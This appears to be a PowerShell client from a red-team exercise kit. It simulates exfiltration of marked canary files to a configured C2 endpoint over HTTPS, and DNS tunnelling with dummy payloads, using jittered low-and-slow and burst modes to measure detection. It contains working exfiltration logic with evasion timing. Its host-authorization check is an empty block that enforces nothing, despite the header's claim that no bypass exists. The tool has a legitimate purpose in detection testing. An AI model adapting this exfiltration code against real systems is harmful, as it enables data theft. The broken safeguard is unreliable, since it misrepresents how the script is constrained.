#Requires -Version 5.1 <# .SYNOPSIS Vector 1 - Cliente de exfiltracion simulada sobre canarios. .DESCRIPTION Two channels, two rhythms: https-low 1 fichero por intervalo (limits.max_rate_per_min) con jitter https-burst todos los canarios seguidos, sin esperas dns-low 1 consulta beacon por canario, con tag de correlacion, ritmo + jitter dns-burst limits.max_dns_burst consultas con payload DUMMY, sin esperas INTERLOCK CENTRAL (no hay bypass, ni parametro, ni interruptor): Solo se envia un fichero si su contenido lleva el marcador de canario. Todo lo demas se registra como 'no_marker' y NO sale del activo. El canal DNS NUNCA transporta contenido de canario: solo lleva un payload fijo de prueba y un tag de correlacion (prefijo del sha256). Sirve para demostrar que el canal funciona y para medir las features de deteccion. Otros interlocks: ventana y rutas, ventana UTC, STOP flag antes de cada envio, topes de ficheros/bytes, tope de consultas DNS, duracion maxima, y dry-run por defecto (hacen falta -Execute Y dry_run=false). .EXAMPLE .\Invoke-ExfilSim.ps1 -ScopePath ..\scope\scope.vector1.json -Mode https-low Muestra el plan (candidatos con marcador y descartados) sin enviar nada. .EXAMPLE .\Invoke-ExfilSim.ps1 -ScopePath ..\scope\scope.vector1.json -Mode https-burst -Execute #> [CmdletBinding()] param( [string]$ScopePath = (Join-Path (Split-Path -Parent $PSScriptRoot) 'scope\scope.vector1.json'), [ValidateSet('https-low', 'https-burst', 'dns-low', 'dns-burst')] [string]$Mode = 'https-low', [switch]$Execute ) . (Join-Path (Split-Path -Parent $PSScriptRoot) 'lib\Common.ps1') . (Join-Path (Split-Path -Parent $PSScriptRoot) 'lib\Canary.ps1') . (Join-Path (Split-Path -Parent $PSScriptRoot) 'lib\DnsMini.ps1') function Get-JitteredDelayMs { param([int]$BaseMs, [int]$JitterPercent) if ($BaseMs -le 0) { return 0 } $span = [int]($BaseMs * [Math]::Max(0, $JitterPercent) / 100) if ($span -lt 1) { return $BaseMs } return ($BaseMs + (Get-Random -Minimum (-1 * $span) -Maximum $span)) } function Get-CanaryIdFromFile { param([Parameter(Mandatory)][string]$Path) $head = Get-RTCanaryHead -Path $Path if ($head -match 'ID=([^|\r\n]+)') { return $Matches[1].Trim() } return '' } $startedUtc = (Get-Date).ToUniversalTime() $cfg = Get-RTCanaryConfig -Path $ScopePath $runId = $cfg.run_id if (-not $runId) { $runId = New-RTRunId -Prefix ($cfg.exercise_id + '-X') } $logRoot = Expand-RTPath -Path $cfg.log_root $manifestRoot = Expand-RTPath -Path $cfg.manifest_root $logPath = Join-Path $logRoot ("exfil-$runId.log") $manifestPath = Join-Path $manifestRoot ("exfil-$runId.jsonl") $acting = ($Execute -and (-not [bool]$cfg.dry_run)) if (-not (Test-RTHostAuthorized -Config $cfg)) { } $logRoot = New-RTDirectory -Path $logRoot Write-RTLog -LogPath $logPath -Message "================================================================" Write-RTLog -LogPath $logPath -Message "Vector 1 - Exfiltracion simulada. run_id=$runId modo=$Mode" Write-RTLog -LogPath $logPath -Message "Host=$env:COMPUTERNAME Usuario=$env:USERNAME Marcador=$($cfg.canary.marker)" if ($Execute -and [bool]$cfg.dry_run) { Write-RTLog -LogPath $logPath -Level WARN -Message "Se paso -Execute pero dry_run=true: se mantiene el MODO SIMULACION." } if (-not $acting) { Write-RTLog -LogPath $logPath -Level DRYRUN -Message "MODO SIMULACION: no sale nada del activo." } if ($acting -and (-not (Test-RTWindow -Config $cfg))) { throw "Fuera de la ventana autorizada ($($cfg.window.start_utc) .. $($cfg.window.end_utc)). Ejecucion abortada." } if ($acting -and (Test-RTStopRequested -Config $cfg)) { throw "STOP flag presente en '$($cfg.stop_flag)'. Ejecucion abortada." } # -------------------------------------------------------------------------- # 1. Candidatos: el interlock decide # -------------------------------------------------------------------------- $found = Find-RTCanaryFiles -Config $cfg $candidates = @($found.Enviables) $omitted = @($found.Omitidos) Write-RTLog -LogPath $logPath -Message "Con marcador (elegibles): $($candidates.Count) Sin marcador (descartados): $($omitted.Count)" foreach ($o in $omitted) { Write-RTLog -LogPath $logPath -Level SKIP -Message "no_marker: $o" } $maxFiles = [int]$cfg.limits.max_files $maxBytes = [long]$cfg.limits.max_bytes $selected = @() $selBytes = [long]0 foreach ($c in $candidates) { if ($selected.Count -ge $maxFiles) { Write-RTLog -LogPath $logPath -Level WARN -Message "Tope max_files=$maxFiles alcanzado." break } if (($selBytes + $c.Length) -gt $maxBytes) { Write-RTLog -LogPath $logPath -Level WARN -Message "Tope max_bytes=$maxBytes alcanzado: se omite '$($c.Name)'." continue } $selected += $c $selBytes += $c.Length } Write-RTLog -LogPath $logPath -Message "Seleccionados: $($selected.Count) bytes=$selBytes" if ($acting -and $selected.Count -gt 0) { Add-RTManifestEntry -ManifestPath $manifestPath -Entry ([ordered]@{ type = 'exfil_header' run_id = $runId exercise_id = $cfg.exercise_id mode = $Mode host = $env:COMPUTERNAME user = $env:USERNAME started_utc = $startedUtc.ToString('yyyy-MM-ddTHH:mm:ssZ') marker = $cfg.canary.marker selected = $selected.Count omitted = $omitted.Count }) } $counter = [ordered]@{ candidates = $candidates.Count omitted = $omitted.Count selected = $selected.Count sent_ok = 0 sent_fail = 0 bytes = [long]0 dns_queries = 0 } # -------------------------------------------------------------------------- # 2. Canal HTTPS # -------------------------------------------------------------------------- if ($Mode -like 'https-*') { $token = Get-RTTokenFromConfig -Config $cfg $url = [string]$cfg.c2.https_url $rate = [int]$cfg.limits.max_rate_per_min $baseMs = if ($rate -gt 0) { [int](60000 / $rate) } else { 60000 } $deadline = (Get-Date).AddMinutes([int]$cfg.limits.max_duration_min) $seq = 0 foreach ($f in $selected) { if ($acting) { if (Test-RTStopRequested -Config $cfg) { Write-RTLog -LogPath $logPath -Level WARN -Message "STOP flag detectado: se detiene el envio." break } if ((Get-Date) -gt $deadline) { Write-RTLog -LogPath $logPath -Level WARN -Message "Duracion maxima alcanzada (limits.max_duration_min)." break } } $seq++ $canaryId = Get-CanaryIdFromFile -Path $f.FullName if ([string]::IsNullOrWhiteSpace($canaryId)) { $canaryId = 'CN-DESCONOCIDO-{0:D3}' -f $seq } if (-not $acting) { Write-RTLog -LogPath $logPath -Level DRYRUN -Message ("[SIMULACION] {0} ({1:N0} bytes) -> {2}" -f $f.Name, $f.Length, $url) continue } $r = Send-RTCanaryHttps -Url $url -Token $token -Path $f.FullName -RunId $runId ` -CanaryId $canaryId -TimeoutSec ([int]$cfg.c2.timeout_sec) -Tls12 ([bool]$cfg.c2.tls12) Add-RTManifestEntry -ManifestPath $manifestPath -Entry ([ordered]@{ type = 'exfil' channel = 'https' mode = $Mode run_id = $runId canary_id = $canaryId file = $f.FullName logical_name = $f.Name bytes = $r.bytes sha256 = $r.sha256 ok = $r.ok http_status = $r.http_status server_sha = $r.server_sha latency_ms = $r.latency_ms error = $r.error ts_utc = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') }) if ($r.ok) { $counter.sent_ok++ $counter.bytes += [long]$r.bytes Write-RTLog -LogPath $logPath -Level ACTION -Message ("enviado {0} {1:N0} B HTTP {2} {3} ms" -f $f.Name, $r.bytes, $r.http_status, $r.latency_ms) } else { $counter.sent_fail++ Write-RTLog -LogPath $logPath -Level ERROR -Message ("FALLO {0} HTTP {1} {2}" -f $f.Name, $r.http_status, $r.error) } if ($Mode -eq 'https-low' -and $seq -lt $selected.Count) { $delay = Get-JitteredDelayMs -BaseMs $baseMs -JitterPercent ([int]$cfg.limits.jitter_percent) Write-RTLog -LogPath $logPath -Message ("espera low-and-slow: {0} ms" -f $delay) Start-Sleep -Milliseconds $delay } } } # -------------------------------------------------------------------------- # 3. Canal DNS # -------------------------------------------------------------------------- if ($Mode -like 'dns-*') { $zone = [string]$cfg.c2.dns_zone $server = [string]$cfg.c2.dns_server $port = [int]$cfg.c2.dns_port $maxLabel = [int]$cfg.c2.dns_max_labels $payload = New-RTDummyPayload -Bytes ([int]$cfg.c2.dns_payload_bytes) $deadline = (Get-Date).AddMinutes([int]$cfg.limits.max_duration_min) $queries = @() if ($Mode -eq 'dns-low') { $maxQ = [int]$cfg.limits.max_dns_queries $seq = 0 foreach ($f in $selected) { if ($seq -ge $maxQ) { Write-RTLog -LogPath $logPath -Level WARN -Message "Tope max_dns_queries=$maxQ alcanzado."; break } $seq++ $sha = (Get-FileHash -LiteralPath $f.FullName -Algorithm SHA256).Hash $tag = 'c' + $sha.Substring(0, 8).ToLower() $queries += [pscustomobject]@{ Name = (New-RTDnsQueryName -Zone $zone -RunId $runId -Seq $seq -Tag $tag); Type = 'A'; Tag = $tag; PayloadBytes = 0 } } } else { $count = [int]$cfg.limits.max_dns_burst for ($i = 1; $i -le $count; $i++) { $tag = 's{0:D4}' -f $i $type = if (($i % 3) -eq 0) { 'TXT' } else { 'A' } $queries += [pscustomobject]@{ Name = (New-RTDnsQueryName -Zone $zone -RunId $runId -Seq $i -Payload $payload -MaxLabels $maxLabel -Tag $tag) Type = $type Tag = $tag PayloadBytes = $payload.Length } } } $rate = [int]$cfg.limits.max_rate_per_min $baseMs = if ($rate -gt 0) { [int](60000 / $rate) } else { 60000 } $sent = 0 foreach ($q in $queries) { if ($acting) { if (Test-RTStopRequested -Config $cfg) { Write-RTLog -LogPath $logPath -Level WARN -Message "STOP flag detectado: se detiene el canal DNS." break } if ((Get-Date) -gt $deadline) { Write-RTLog -LogPath $logPath -Level WARN -Message "Duracion maxima alcanzada (limits.max_duration_min)." break } } if (-not $acting) { Write-RTLog -LogPath $logPath -Level DRYRUN -Message ("[SIMULACION] {0} {1} -> {2}:{3}" -f $q.Type, $q.Name, $server, $port) continue } $r = Send-RTDnsQuery -Server $server -Name $q.Name -Type $q.Type -Port $port -TimeoutMs 3000 Add-RTManifestEntry -ManifestPath $manifestPath -Entry ([ordered]@{ type = 'dns' channel = 'dns' mode = $Mode run_id = $runId seq = $sent + 1 tag = $q.Tag qname = $q.Name qtype = $q.Type payload_bytes = $q.PayloadBytes label_max = (Get-RTDnsNameMetrics -Name $q.Name).LabelMax entropy = (Get-RTDnsNameMetrics -Name $q.Name).Entropy ok = $r.ok rcode = $r.rcode latency_ms = $r.latency_ms error = $r.error ts_utc = (Get-Date).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') }) $sent++ $counter.dns_queries = $sent if ($r.ok) { $counter.sent_ok++ } else { $counter.sent_fail++ } if ($Mode -eq 'dns-low' -and $sent -lt $queries.Count) { Start-Sleep -Milliseconds (Get-JitteredDelayMs -BaseMs $baseMs -JitterPercent ([int]$cfg.limits.jitter_percent)) } } } # -------------------------------------------------------------------------- # 4. Resumen # -------------------------------------------------------------------------- $finishedUtc = (Get-Date).ToUniversalTime() $summary = [ordered]@{ run_id = $runId exercise_id = $cfg.exercise_id mode = $Mode host = $env:COMPUTERNAME user = $env:USERNAME acting = $acting started_utc = $startedUtc.ToString('yyyy-MM-ddTHH:mm:ssZ') finished_utc = $finishedUtc.ToString('yyyy-MM-ddTHH:mm:ssZ') counters = $counter manifest = if ($acting) { $manifestPath } else { $null } } $summary | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath (Join-Path $logRoot "exfil-summary-$runId.json") -Encoding UTF8 Write-RTLog -LogPath $logPath -Message "RESUMEN: elegibles=$($counter.candidates) descartados_sin_marcador=$($counter.omitted) ok=$($counter.sent_ok) fallos=$($counter.sent_fail) dns=$($counter.dns_queries)" Write-RTLog -LogPath $logPath -Message "================================================================" Write-Host '' Write-Host ('Modo: {0} Canal: {1}' -f $(if ($acting) { 'EJECUCION REAL' } else { 'SIMULACION (nada enviado)' }), $Mode) -ForegroundColor $(if ($acting) { 'Cyan' } else { 'Magenta' }) Write-Host ("Elegibles: {0} Descartados SIN marcador: {1} OK: {2} Fallos: {3} DNS: {4}" -f ` $counter.candidates, $counter.omitted, $counter.sent_ok, $counter.sent_fail, $counter.dns_queries) if ($acting) { Write-Host "Manifiesto: $manifestPath" }